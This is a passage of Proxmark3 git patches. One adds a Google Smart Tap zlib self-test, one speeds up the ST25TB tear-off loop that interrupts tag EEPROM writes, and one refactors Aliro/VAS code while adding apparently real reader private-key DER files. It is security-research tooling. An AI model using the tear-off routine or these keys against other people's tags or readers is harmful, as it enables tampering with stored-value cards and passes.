gd pkgconfig coreutils openssl +brew install readline qt gd pkgconfig coreutils openssl zlib brew install RfidResearchGroup/proxmark3/arm-none-eabi-gcc ``` + +If you don't need support for decompressing compressed Google Smart Tap payloads in the Proxmark3 client, +you can skip the installation of `zlib`. + 3. (optional) Install makefile dependencies: ``` brew install recode From 892559ac05902d64c58040dcacdfddbdae3f2265 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sat, 14 Mar 2026 17:20:19 +0200 Subject: [PATCH 095/162] Add tests for zlib support --- client/src/cmdhfgst.c | 134 ++++++++++++++++++++++++++++++++ client/src/pm3line_vocabulary.h | 1 + tools/pm3_tests.sh | 1 + 3 files changed, 136 insertions(+) diff --git a/client/src/cmdhfgst.c b/client/src/cmdhfgst.c index e7afdf3d6..4862a4f5d 100644 --- a/client/src/cmdhfgst.c +++ b/client/src/cmdhfgst.c @@ -1560,6 +1560,116 @@ static int gst_decompress_payload_zlib(const uint8_t *compressed_payload, size_t } #endif +static int gst_selftest_zlib(void) { +#ifdef HAVE_ZLIB + // Captured from a compressed RECORD_BUNDLE payload produced by Google's demo pass. + static const uint8_t compressed_payload[] = { + 0x78, 0xDA, 0x5D, 0xD4, 0xBD, 0x4A, 0x03, 0x41, 0x18, 0x85, 0xE1, 0xDD, + 0xEC, 0x22, 0x58, 0x6A, 0x67, 0x99, 0xD4, 0x0A, 0xF9, 0x7E, 0xA2, 0xC6, + 0xDA, 0x26, 0x76, 0xE2, 0x56, 0x82, 0x4A, 0x48, 0x02, 0x46, 0x82, 0x1A, + 0x93, 0x08, 0x41, 0xEC, 0x2C, 0x2D, 0x2C, 0x82, 0x8D, 0xE0, 0x05, 0x88, + 0xB5, 0xD7, 0xA0, 0x77, 0x21, 0xDE, 0x87, 0xE0, 0xA2, 0xCC, 0xD9, 0x39, + 0x4E, 0xB5, 0xF3, 0xEE, 0x34, 0x0F, 0xF3, 0x73, 0x97, 0x25, 0x49, 0xFE, + 0xDE, 0x9D, 0x5C, 0x2F, 0xD2, 0xA5, 0x61, 0x9E, 0x26, 0xE5, 0xD8, 0xAD, + 0x95, 0xE9, 0x6D, 0x34, 0x5F, 0x64, 0xCB, 0x17, 0xC3, 0x7E, 0x5E, 0xFF, + 0xD8, 0xDB, 0x4F, 0xBF, 0x8E, 0x5F, 0x3A, 0xE5, 0xCF, 0xFC, 0x39, 0x2D, + 0xCE, 0x93, 0x9B, 0x46, 0xBF, 0x3B, 0xED, 0x6E, 0x34, 0x1B, 0x3B, 0xBF, + 0x1F, 0x27, 0xA7, 0x83, 0xAB, 0x41, 0xB3, 0xB1, 0xFE, 0x57, 0x25, 0xAE, + 0x12, 0xAA, 0xC6, 0x55, 0x43, 0xB5, 0xB8, 0x5A, 0xA8, 0x1E, 0x57, 0x0F, + 0xB5, 0x15, 0xD7, 0x56, 0xA8, 0x9B, 0x71, 0xDD, 0x0C, 0x75, 0x2B, 0xAE, + 0x5B, 0xA1, 0x6E, 0xC7, 0x75, 0x3B, 0xD4, 0x76, 0x5C, 0xDB, 0x50, 0x10, + 0x4E, 0x2A, 0x1D, 0xF3, 0xE0, 0x13, 0x02, 0x0A, 0x84, 0x42, 0x44, 0x81, + 0x51, 0x08, 0x29, 0x50, 0x0A, 0x31, 0x05, 0x4E, 0x21, 0xA8, 0x40, 0x2A, + 0x44, 0x15, 0x58, 0x85, 0xB0, 0x02, 0xAD, 0x10, 0x57, 0xE0, 0x55, 0xF2, + 0x2A, 0xBC, 0x4A, 0x5E, 0xAD, 0xF6, 0x93, 0x37, 0x14, 0x5E, 0x25, 0xAF, + 0xC2, 0xAB, 0xE4, 0x55, 0x78, 0x95, 0xBC, 0x0A, 0xAF, 0x92, 0x57, 0xE1, + 0x55, 0xF2, 0x2A, 0xBC, 0x4A, 0x5E, 0x85, 0x57, 0xC9, 0xAB, 0xF0, 0x1A, + 0x79, 0x0D, 0x5E, 0x23, 0xAF, 0xC1, 0x6B, 0xE4, 0xB5, 0xEA, 0x04, 0xF3, + 0x11, 0x86, 0xD7, 0xC8, 0x6B, 0xF0, 0x1A, 0x79, 0x0D, 0x5E, 0x23, 0xAF, + 0xC1, 0x6B, 0xE4, 0x35, 0x78, 0x8D, 0xBC, 0x06, 0xAF, 0x91, 0xD7, 0xE0, + 0x75, 0xF2, 0x3A, 0xBC, 0x4E, 0x5E, 0x87, 0xD7, 0xC9, 0xEB, 0xF0, 0x3A, + 0x79, 0xBD, 0xBA, 0xB3, 0x7C, 0x69, 0xE1, 0x75, 0xF2, 0x3A, 0xBC, 0x4E, + 0x5E, 0x87, 0xD7, 0xC9, 0xEB, 0xF0, 0x3A, 0x79, 0x1D, 0x5E, 0x27, 0x6F, + 0x39, 0xBB, 0x2D, 0xB2, 0x4E, 0x78, 0xCD, 0x6A, 0xE3, 0xF9, 0x7C, 0x5C, + 0x64, 0xED, 0xDE, 0x6C, 0xB2, 0xC8, 0x56, 0x7A, 0xE5, 0x5B, 0x96, 0xFC, + 0x1B, 0x6B, 0x69, 0x96, 0x15, 0xBD, 0xCB, 0x51, 0x32, 0x38, 0x2F, 0xCA, + 0x15, 0xB3, 0x69, 0x7E, 0x7F, 0x74, 0xF8, 0x50, 0x7F, 0x3C, 0x58, 0xFD, + 0x1E, 0x7C, 0x8E, 0xC6, 0x67, 0x4F, 0xAF, 0x3F, 0xF7, 0x6A, 0x82, 0x30, + }; + static const uint8_t loyalty_object_id[] = {0x04, 0x21, 0xC9, 0x4A, 0x51, 0x01, 0xE2, 0x5E, 0xAA}; + static const uint8_t customer_id[] = {0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + static const size_t sample_decompressed_len = 1312; + static const size_t service_value_record_1_len = 1224; + static const size_t loyalty_record_len = 1206; + static const size_t service_value_record_2_len = 73; + static const size_t customer_record_len = 57; + + uint8_t *decompressed_payload = NULL; + size_t decompressed_payload_len = 0; + int res = gst_decompress_payload_zlib(compressed_payload, sizeof(compressed_payload), + &decompressed_payload, &decompressed_payload_len); + bool inflate_ok = (res == PM3_SUCCESS) && (decompressed_payload_len == sample_decompressed_len); + PrintAndLogEx(INFO, "zlib sample inflate... ( %s )", inflate_ok ? _GREEN_("ok") : _RED_("fail")); + + bool parse_ok = false; + // Check that inflation worked properly by validating inner data + if (inflate_ok) { + size_t offset = 0; + gst_ndef_record_view_t first_record; + gst_ndef_record_view_t second_record; + gst_ndef_record_view_t loyalty_record; + gst_ndef_record_view_t object_id_record; + gst_ndef_record_view_t customer_record; + gst_ndef_record_view_t customer_id_record; + + res = gst_ndef_parse_record(decompressed_payload, decompressed_payload_len, &offset, &first_record); + if (res == PM3_SUCCESS && + bytes_equal_not_null(first_record.type, first_record.type_len, + GST_TYPE_SERVICE_VALUE, sizeof(GST_TYPE_SERVICE_VALUE)) && + first_record.payload_len == service_value_record_1_len) { + res = gst_ndef_find_by_type_or_id(first_record.payload, first_record.payload_len, + GST_OBJECT_TYPE_LOYALTY, sizeof(GST_OBJECT_TYPE_LOYALTY), + &loyalty_record); + } + if (res == PM3_SUCCESS && loyalty_record.payload_len == loyalty_record_len) { + res = gst_ndef_find_by_type_or_id(loyalty_record.payload, loyalty_record.payload_len, + GST_TYPE_OBJECT_ID, sizeof(GST_TYPE_OBJECT_ID), + &object_id_record); + } + if (res == PM3_SUCCESS && + bytes_equal_not_null(object_id_record.payload, object_id_record.payload_len, + loyalty_object_id, sizeof(loyalty_object_id))) { + res = gst_ndef_parse_record(decompressed_payload, decompressed_payload_len, &offset, &second_record); + } + if (res == PM3_SUCCESS && + bytes_equal_not_null(second_record.type, second_record.type_len, + GST_TYPE_SERVICE_VALUE, sizeof(GST_TYPE_SERVICE_VALUE)) && + second_record.payload_len == service_value_record_2_len) { + res = gst_ndef_find_by_type_or_id(second_record.payload, second_record.payload_len, + GST_TYPE_CUSTOMER, sizeof(GST_TYPE_CUSTOMER), + &customer_record); + } + if (res == PM3_SUCCESS && customer_record.payload_len == customer_record_len) { + res = gst_ndef_find_by_type_or_id(customer_record.payload, customer_record.payload_len, + GST_TYPE_CUSTOMER_ID, sizeof(GST_TYPE_CUSTOMER_ID), + &customer_id_record); + } + parse_ok = (res == PM3_SUCCESS) && + bytes_equal_not_null(customer_id_record.payload, customer_id_record.payload_len, + customer_id, sizeof(customer_id)); + } + PrintAndLogEx(INFO, "zlib sample parse.... ( %s )", parse_ok ? _GREEN_("ok") : _RED_("fail")); + + free(decompressed_payload); + + return (inflate_ok && parse_ok) ? PM3_SUCCESS : PM3_ESOFT; +#else + PrintAndLogEx(INFO, "zlib support......... ( %s )", _YELLOW_("unsupported")); + return PM3_ENOTIMPL; +#endif +} + static void gst_print_formatted_payload(const char *label, const uint8_t *payload, size_t payload_len) { if (payload == NULL || payload_len == 0) { PrintAndLogEx(INFO, "%s ", label); @@ -2115,6 +2225,29 @@ out: return status; } +static int CmdHFGSTTest(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf gst test", + "Perform self tests", + "hf gst test"); + + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIParserFree(ctx); + + PrintAndLogEx(INFO, "------ " _CYAN_("Google Smart Tap tests") " ------"); + int res = gst_selftest_zlib(); + if (res == PM3_ENOTIMPL) { + PrintAndLogEx(INFO, "Tests ( %s )", _YELLOW_("skipped")); + } else { + PrintAndLogEx(SUCCESS, "Tests ( %s )", (res == PM3_SUCCESS) ? _GREEN_("ok") : _RED_("fail")); + } + return res; +} + static int CmdHFGSTInfo(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf gst info", @@ -2296,6 +2429,7 @@ static command_t CommandTable[] = { {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdHFGSTList, AlwaysAvailable, "List ISO 14443A/7816 history"}, + {"test", CmdHFGSTTest, AlwaysAvailable, "Perform self tests"}, {"-----------", CmdHelp, IfPm3Iso14443a, "--------------------- " _CYAN_("Operations") " ----------------------"}, {"info", CmdHFGSTInfo, IfPm3Iso14443a, "Get Google Smart Tap applet information"}, {"read", CmdHFGSTRead, IfPm3Iso14443a, "Read and decode Google Smart Tap pass objects"}, diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 1bb5d9d6f..053e78a77 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -284,6 +284,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf gallagher encode" }, { 1, "hf gst help" }, { 1, "hf gst list" }, + { 1, "hf gst test" }, { 0, "hf gst info" }, { 0, "hf gst read" }, { 1, "hf iclass help" }, diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index e94d5096e..f0aa9cbe5 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -626,6 +626,7 @@ while true; do if ! CheckExecute "emv test" "$CLIENTBIN -c 'emv test'" "Tests \( ok"; then break; fi if ! CheckExecute "hf cipurse test" "$CLIENTBIN -c 'hf cipurse test'" "Tests \( ok"; then break; fi if ! CheckExecute "hf mfdes test" "$CLIENTBIN -c 'hf mfdes test'" "Tests \( ok"; then break; fi + if ! CheckExecute "hf gst test" "$CLIENTBIN -c 'hf gst test'" "Tests \( ok"; then break; fi if ! CheckExecute "hf waveshare load" "$CLIENTBIN -c 'hf waveshare load -m 6 -f tools/lena.bmp -s dither.bmp' && echo '34ff55fe7257876acf30dae00eb0e439 dither.bmp' | md5sum -c -" "dither.bmp: OK"; then break; fi fi echo -e "\n------------------------------------------------------------" From 6b5eee46afe0b14f643edead52d88dcd5501310a Mon Sep 17 00:00:00 2001 From: xNovyz Date: Sat, 14 Mar 2026 22:44:12 +0100 Subject: [PATCH 096/162] hf 14b tearoff: dramatically speed up tear-off loop timings - Reinitialize BigBuf memory before FpgaSetupSsc to reset PDC internal buffer pointers - With properly reset DMA pointers, the field stabilization time can be safely reduced from 5.0ms down to 0.25ms (which matches the timing originally intended by the near-field-chaos patch) - Further reduced the ST25TB charge capacitor drain wait time from 10ms to an aggressive 0.5ms (the tRST minimum specified in ST25TB datasheet) --- armsrc/iso14443b.c | 49 ++++++++++++++++++++++------------------------ 1 file changed, 23 insertions(+), 26 deletions(-) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 6a70887d5..1c3d01f7c 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -2653,32 +2653,34 @@ static int tearoff_rand(void) { // - BigBuf_free + BigBuf_calloc (demod buffers persist) // - 100ms field stabilization (tag only needs ~20ms to power up) static void tearoff_field_on(void) { - // Re-enable reader mode + // Reset the AT91 SSC PDC (DMA) receive buffer before each field-on + // by mirroring iso14443b_setup() memory allocations for Demod14b/Uart14b. + BigBuf_free(); + Demod14bInit(BigBuf_calloc(MAX_FRAME_SIZE), MAX_FRAME_SIZE); + Uart14bInit(BigBuf_calloc(MAX_FRAME_SIZE)); + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); // programs PDC with fresh BigBuf address #ifdef RDV4 FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4); #else FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD); #endif - // Brief field stabilization — tag needs ~5-15ms to power on from RF - SpinDelay(20); - Demod14bReset(); - Uart14bReset(); + // Field stabilization: tag needs time to power up from RF. + SpinDelayUs(250); StartCountSspClk(); iso14b_set_fwt(8); s_field_on = true; } -static void tearoff_field_off(void) { +// Cut the RF field. +// drain_capacitor: pass true after a tear-off write to drain the tag's charge pump +static void tearoff_field_off(bool drain_capacitor) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); s_field_on = false; - // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump - // is active. We MUST wait several milliseconds with the field fully OFF to - // drain the tag's capacitor. If we turn the field back on too quickly, the - // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes - // digitally latched-up/unresponsive until physically removed. - SpinDelay(10); + if (drain_capacitor) { + SpinDelayUs(500); // ST25TB tRST minimum drain + } } static void tearoff_exit(void) { @@ -2705,7 +2707,7 @@ static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) { res = iso14443b_select_srx_card(&card); if (res != PM3_SUCCESS) { - tearoff_field_off(); + tearoff_field_off(false); // select failed, no write in progress return res; } @@ -2718,7 +2720,7 @@ static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) { ((uint32_t)block[3] << 24); } - tearoff_field_off(); + tearoff_field_off(false); // plain read, no write in progress return res; } @@ -2747,7 +2749,7 @@ static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t t iso14b_card_select_t card; int res = iso14443b_select_srx_card(&card); if (res != PM3_SUCCESS) { - tearoff_field_off(); + tearoff_field_off(false); // select failed pre-write, no EEPROM activity return; } @@ -2758,15 +2760,10 @@ static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t t if (tearoff_hook() == PM3_ETEAROFF) { s_field_on = false; - // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump - // is active. We MUST wait several milliseconds with the field fully OFF to - // drain the tag's capacitor. If we turn the field back on too quickly, the - // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes - // digitally latched-up/unresponsive until physically removed. - SpinDelay(10); + // Drain the tag's charge pump capacitor so POR triggers cleanly on next field-on. + SpinDelayUs(500); } else { - // Fallback if hook didn't trigger for some reason - tearoff_field_off(); + tearoff_field_off(false); } } @@ -2938,7 +2935,7 @@ void ST25TB_TearOff(const uint8_t *data) { // lightweight tearoff_field_on/off which skip the heavy initialization. iso14443b_setup(); set_tracing(true); - tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on + tearoff_field_off(false); // Start with field off, tearoff_read_block will turn it on // Initial read result = tearoff_read_block(block_address, ¤t_value); @@ -3014,7 +3011,7 @@ void ST25TB_TearOff(const uint8_t *data) { result = tearoff_read_block(block_address, &read_value); if (result != 0) { consecutive_read_fails++; - if (consecutive_read_fails > 10) { + if (consecutive_read_fails > 30) { Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails); reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); tearoff_exit(); From ec3b249d308409c9e62daacd7e67da81e3a0c701 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sat, 14 Mar 2026 22:14:23 +0200 Subject: [PATCH 097/162] Remove redundant methods from Aliro/VAS, make private key load helpers universal --- .../{vas_privkey.der => vas.passkit.der} | Bin client/resources/vas.springcard.der | Bin 0 -> 121 bytes client/resources/vas.zebra.der | Bin 0 -> 121 bytes client/src/cmdhfaliro.c | 175 ++++++------------ client/src/cmdhfgst.c | 11 +- client/src/cmdhfvas.c | 165 +++++++++-------- client/src/crypto/libpcrypto.c | 29 ++- client/src/emv/tlv.c | 3 + doc/commands.json | 14 +- 9 files changed, 174 insertions(+), 223 deletions(-) rename client/resources/{vas_privkey.der => vas.passkit.der} (100%) create mode 100644 client/resources/vas.springcard.der create mode 100644 client/resources/vas.zebra.der diff --git a/client/resources/vas_privkey.der b/client/resources/vas.passkit.der similarity index 100% rename from client/resources/vas_privkey.der rename to client/resources/vas.passkit.der diff --git a/client/resources/vas.springcard.der b/client/resources/vas.springcard.der new file mode 100644 index 0000000000000000000000000000000000000000..b39f4b8dfd8c7b69692c34a10db2ca39fd6bb0ef GIT binary patch literal 121 zcmXpgXJTYzQP8ThwLA48M950FUBK31{gkZZ!ev4pT`C7A)h_zcc8zxd7aNCGo5wj@ zW=8gfF3e60EMEm?X4HfSbX*YS{GgS!>*vud5n;cVlP1i3sj=aRU|RNCyYo6{y_NJj dIdrcr^8a`A*;3U{OXdsx%qZ;Hb^gAxG61GHGIsy~ literal 0 HcmV?d00001 diff --git a/client/resources/vas.zebra.der b/client/resources/vas.zebra.der new file mode 100644 index 0000000000000000000000000000000000000000..e9f03c0738d59dd1342d17c28bd8f85cce636e36 GIT binary patch literal 121 zcmXpgXJTYzQTS@s&N10iA=J8h{%^5$Z|9U>-G4Jp>!atgoj+5z+w+`Sz{SR))#h=| zmYI=#p$oGU1B(TBe?6D8@$x61w5Dx5x8m??i>mcE%#wAJ?i^T_IOmMU7LB9(+bpj0 fP1ZQJCDBrD)BAfXZtwp$`CzTcqi0j@^!We)Bx5+R literal 0 HcmV?d00001 diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index ca779fce7..83d663d2f 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -65,18 +65,14 @@ static const char ALIRO_DEFAULT_STEP_UP_SCOPE[] = "matter1"; #define ALIRO_MAX_TLV 512 #define ALIRO_MAX_STEP_UP_SCOPES 16 #define ALIRO_MAX_STEP_UP_SCOPE_LEN 128 +#define ALIRO_MAX_KEY_INPUT 8192 #define ALIRO_ACCESS_DOCUMENT_TYPE "aliro-a" #define ALIRO_REVOCATION_DOCUMENT_TYPE "aliro-r" #define ALIRO_SIGNALING_ACCESS_DOCUMENT_RETRIEVABLE (1U << 0) #define ALIRO_SIGNALING_REVOCATION_DOCUMENT_RETRIEVABLE (1U << 1) #define ALIRO_SIGNALING_STEP_UP_SELECT_REQUIRED_FOR_DOC_RETRIEVAL (1U << 2) - -typedef struct { - mbedtls_entropy_context entropy; - mbedtls_ctr_drbg_context ctr_drbg; - bool seeded; -} aliro_rng_t; +static const uint8_t ALIRO_RNG_PERSONALIZATION[] = "pm3-aliro"; typedef struct { uint16_t type; @@ -207,63 +203,6 @@ static const char *get_aliro_application_type_name(uint16_t type) { return NULL; } -static void aliro_print_big_header(const char *title) { - static const char dashes[] = "----------------------------------------------------------------------------------------------------"; - const size_t width = 82; - const size_t title_len = strlen(title); - - if (title_len + 2 >= width) { - PrintAndLogEx(INFO, _CYAN_("%s"), title); - return; - } - - size_t dash_count = width - (title_len + 2); - size_t left = dash_count / 2; - size_t right = dash_count - left; - if (left > (sizeof(dashes) - 1)) { - left = sizeof(dashes) - 1; - } - if (right > (sizeof(dashes) - 1)) { - right = sizeof(dashes) - 1; - } - - PrintAndLogEx(INFO, "%.*s " _CYAN_("%s") " %.*s", - (int)left, dashes, title, (int)right, dashes); -} - -static int aliro_rng_init(aliro_rng_t *rng) { - if (rng == NULL) { - return PM3_EINVARG; - } - - memset(rng, 0, sizeof(*rng)); - mbedtls_entropy_init(&rng->entropy); - mbedtls_ctr_drbg_init(&rng->ctr_drbg); - - static const uint8_t personalization[] = "pm3-aliro"; - int ret = mbedtls_ctr_drbg_seed(&rng->ctr_drbg, mbedtls_entropy_func, &rng->entropy, - personalization, sizeof(personalization) - 1); - if (ret != 0) { - PrintAndLogEx(ERR, "Failed to initialize random generator (mbedtls: %d)", ret); - mbedtls_ctr_drbg_free(&rng->ctr_drbg); - mbedtls_entropy_free(&rng->entropy); - return PM3_ESOFT; - } - - rng->seeded = true; - return PM3_SUCCESS; -} - -static void aliro_rng_free(aliro_rng_t *rng) { - if (rng == NULL) { - return; - } - - mbedtls_ctr_drbg_free(&rng->ctr_drbg); - mbedtls_entropy_free(&rng->entropy); - rng->seeded = false; -} - static int aliro_ber_encode_length(size_t len, uint8_t *out, size_t out_max, size_t *out_len) { if (out == NULL || out_len == NULL) { return PM3_EINVARG; @@ -644,7 +583,7 @@ static bool aliro_choose_protocol_version(const aliro_select_info_t *select_info return true; } -static int aliro_load_private_key(const uint8_t private_key_bytes[32], mbedtls_ecp_keypair *keypair, aliro_rng_t *rng) { +static int aliro_load_private_key(const uint8_t private_key_bytes[32], mbedtls_ecp_keypair *keypair, pcrypto_rng_t *rng) { if (private_key_bytes == NULL || keypair == NULL || rng == NULL || rng->seeded == false) { return PM3_EINVARG; } @@ -677,7 +616,7 @@ static int aliro_load_private_key(const uint8_t private_key_bytes[32], mbedtls_e return PM3_SUCCESS; } -static int aliro_generate_ephemeral_keypair(mbedtls_ecp_keypair *keypair, aliro_rng_t *rng) { +static int aliro_generate_ephemeral_keypair(mbedtls_ecp_keypair *keypair, pcrypto_rng_t *rng) { if (keypair == NULL || rng == NULL || rng->seeded == false) { return PM3_EINVARG; } @@ -740,7 +679,7 @@ static int aliro_compute_kdh(const mbedtls_ecp_keypair *reader_ephemeral_private const uint8_t endpoint_ephemeral_public_key[65], const uint8_t transaction_identifier[16], uint8_t kdh[32], - aliro_rng_t *rng) { + pcrypto_rng_t *rng) { if (reader_ephemeral_private_key == NULL || endpoint_ephemeral_public_key == NULL || transaction_identifier == NULL || kdh == NULL || rng == NULL || rng->seeded == false) { return PM3_EINVARG; @@ -1117,18 +1056,6 @@ static bool aliro_is_zeroed(const uint8_t *buf, size_t len) { return true; } -static bool aliro_is_ascii(const uint8_t *buf, size_t len) { - if (buf == NULL) { - return false; - } - for (size_t i = 0; i < len; i++) { - if (buf[i] < 0x20 || buf[i] > 0x7E) { - return false; - } - } - return true; -} - static void aliro_print_timestamp(const char *label, const uint8_t *timestamp, bool have) { if (have == false) { PrintAndLogEx(INFO, "%s not present", label); @@ -1138,27 +1065,13 @@ static void aliro_print_timestamp(const char *label, const uint8_t *timestamp, b PrintAndLogEx(INFO, "%s all-zero", label); return; } - if (aliro_is_ascii(timestamp, 20)) { + if (is_printable_ascii(timestamp, 20)) { PrintAndLogEx(INFO, "%s %s", label, sprint_ascii(timestamp, 20)); } else { PrintAndLogEx(INFO, "%s %s", label, sprint_hex_inrow(timestamp, 20)); } } -static int aliro_buf_append(uint8_t *buf, size_t buf_len, size_t *offset, const uint8_t *data, size_t data_len) { - if (buf == NULL || offset == NULL || (data_len > 0 && data == NULL)) { - return PM3_EINVARG; - } - if (*offset > buf_len || data_len > (buf_len - *offset)) { - return PM3_EOVFLOW; - } - if (data_len > 0) { - memcpy(buf + *offset, data, data_len); - *offset += data_len; - } - return PM3_SUCCESS; -} - static int aliro_build_kdf_info(uint8_t *info, size_t info_len, size_t *written_len, const uint8_t endpoint_ephemeral_public_key_x[32], const uint8_t *auth0_suffix, size_t auth0_suffix_len) { @@ -1168,11 +1081,11 @@ static int aliro_build_kdf_info(uint8_t *info, size_t info_len, size_t *written_ } *written_len = 0; - int res = aliro_buf_append(info, info_len, written_len, endpoint_ephemeral_public_key_x, 32); + int res = buffer_append_bytes_with_offset(info, info_len, written_len, endpoint_ephemeral_public_key_x, 32); if (res != PM3_SUCCESS) { return res; } - return aliro_buf_append(info, info_len, written_len, auth0_suffix, auth0_suffix_len); + return buffer_append_bytes_with_offset(info, info_len, written_len, auth0_suffix, auth0_suffix_len); } static int aliro_build_kdf_salt(uint8_t *salt, size_t salt_len, size_t *written_len, @@ -1197,44 +1110,44 @@ static int aliro_build_kdf_salt(uint8_t *salt, size_t salt_len, size_t *written_ uint8_t flag[2] = {command_parameters, authentication_policy}; *written_len = 0; - int res = aliro_buf_append(salt, salt_len, written_len, reader_public_key_x, 32); + int res = buffer_append_bytes_with_offset(salt, salt_len, written_len, reader_public_key_x, 32); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, mode, mode_len); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, mode, mode_len); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, reader_identifier, 32); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, reader_identifier, 32); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, protocol_marker, sizeof(protocol_marker)); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, protocol_marker, sizeof(protocol_marker)); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, protocol_version, 2); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, protocol_version, 2); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, reader_ephemeral_public_key_x, 32); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, reader_ephemeral_public_key_x, 32); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, transaction_identifier, 16); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, transaction_identifier, 16); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, flag, sizeof(flag)); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, flag, sizeof(flag)); if (res != PM3_SUCCESS) { return res; } - res = aliro_buf_append(salt, salt_len, written_len, fci_proprietary_tlv, fci_proprietary_tlv_len); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, fci_proprietary_tlv, fci_proprietary_tlv_len); if (res != PM3_SUCCESS) { return res; } if (endpoint_public_key_x != NULL) { - res = aliro_buf_append(salt, salt_len, written_len, endpoint_public_key_x, 32); + res = buffer_append_bytes_with_offset(salt, salt_len, written_len, endpoint_public_key_x, 32); if (res != PM3_SUCCESS) { return res; } @@ -1494,7 +1407,7 @@ static int aliro_read_prepare_session(aliro_read_state_t *state, const uint8_t reader_group_sub_identifier[16], const uint8_t reader_private_key_raw[32], const uint8_t *transaction_identifier_in, size_t transaction_identifier_len, - aliro_rng_t *rng) { + pcrypto_rng_t *rng) { if (state == NULL || reader_private_key == NULL || reader_ephemeral_key == NULL || reader_group_identifier == NULL || reader_group_sub_identifier == NULL || reader_private_key_raw == NULL || rng == NULL) { @@ -1518,7 +1431,7 @@ static int aliro_read_prepare_session(aliro_read_state_t *state, return res; } - aliro_print_big_header("Applet information"); + PrintAndLogInfoHeader("Applet information"); print_aliro_select_info(&state->select_info); if (state->select_info.have_proprietary_tlv == false) { @@ -1586,7 +1499,7 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da return PM3_ESOFT; } - aliro_print_big_header("AUTH0"); + PrintAndLogInfoHeader("AUTH0"); PrintAndLogEx(INFO, "Reader group id........... %s", sprint_hex_inrow(reader_group_identifier, 16)); PrintAndLogEx(INFO, "Reader sub id............. %s", sprint_hex_inrow(reader_group_sub_identifier, 16)); PrintAndLogEx(INFO, "Reader id................. %s", sprint_hex_inrow(state->reader_identifier, 32)); @@ -1703,7 +1616,7 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da static int aliro_read_prepare_auth1_keys(aliro_read_state_t *state, mbedtls_ecp_keypair *reader_ephemeral_key, - aliro_rng_t *rng) { + pcrypto_rng_t *rng) { if (state == NULL || reader_ephemeral_key == NULL || rng == NULL) { return PM3_EINVARG; } @@ -1881,7 +1794,7 @@ static void aliro_read_print_auth1_report(const aliro_read_state_t *state) { return; } - aliro_print_big_header("AUTH1"); + PrintAndLogInfoHeader("AUTH1"); PrintAndLogEx(INFO, "AUTH1 signature........... %s", sprint_hex_inrow(state->auth1_parsed.signature, 64)); if (state->auth1_parsed.have_key_slot) { PrintAndLogEx(INFO, "AUTH1 key slot............ %s", sprint_hex_inrow(state->auth1_parsed.key_slot, 8)); @@ -1963,7 +1876,7 @@ static void aliro_read_print_fast_suggestion_note(const char *fast_cmd) { if (fast_cmd == NULL || fast_cmd[0] == '\0') { return; } - aliro_print_big_header("Note"); + PrintAndLogInfoHeader("Note"); PrintAndLogEx(INFO, _GREEN_("use the following command to perform FAST authentication flow for this endpoint:")); PrintAndLogEx(INFO, _YELLOW_("%s"), 